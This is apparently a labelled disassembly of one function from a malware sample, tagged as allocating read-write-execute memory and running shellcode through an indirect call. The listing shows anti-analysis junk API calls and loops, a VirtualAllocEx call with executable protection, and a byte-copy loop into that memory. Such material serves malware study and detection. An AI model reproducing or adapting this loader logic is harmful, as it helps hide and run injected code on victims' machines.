Function at 0x404e13
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x429747
call fcn.004296d8
sub esp, 0xa78
push ebx
push esi
xor esi, esi
cmp dword [0x241a2f4], 0x1c9
push edi
jne 0x404e8d
push esi
push esi
push 0x404808
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0x34]
push eax
call fcn.004051a3
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], esi
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404b5f
fstp st(0)
call fcn.004054e4
push esi
push esi
call fcn.00405917
call fcn.004054e9
push esi
call fcn.00405e27
add esp, 0xc
call fcn.004054e9
push esi
call fcn.004060d7
xor edi, edi
cmp edi, 0xa0a
jge 0x404ea4
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
call dword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp edi, 0x2b259d
jle 0x404ed9
cmp dword [ebp - 0x14], 0x785074d5
jne 0x404ee2
inc edi
cmp edi, 0x6dcc4e
jl 0x404e8f
add dword [0x241a2f4], 0x1134b
push 0x404878
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x241a2e4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [0x241a2f4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
mov dword [0x23fc014], eax
cmp dword [0x241a2f4], esi
jbe 0x404f6d
cmp dword [0x241a2f4], 0xa8
mov eax, dword [0x241ad58]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x23fc014]
mov byte [ecx + edi], al
jne 0x404f64
push esi
push esi
lea eax, [ebp - 0x684]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
lea eax, [ebp - 0x284]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
inc edi
cmp edi, dword [0x241a2f4]
jb 0x404f26
xor edi, edi
mov eax, dword [0x241a2f4]
add eax, edi
cmp eax, 0xe
jne 0x404fb5
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x684]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
inc edi
cmp edi, 0x4fe161
jl 0x404f6f
mov edi, 0x4cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
call dword [sym.imp.USER32.dll_OemToCharA]
push esi
lea eax, [ebp - 0xa84]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x404fc3
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
call edi
cmp ebx, 0xcaaaff1
jg 0x404fff
inc ebx
cmp ebx, 0x1f05843
jl 0x404fec
call fcn.00404d41
call edi
cmp esi, 0x26
jne 0x405010
call fcn.00404df9
inc esi
cmp esi, 0x409495
jl 0x405004
push 0x404894
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret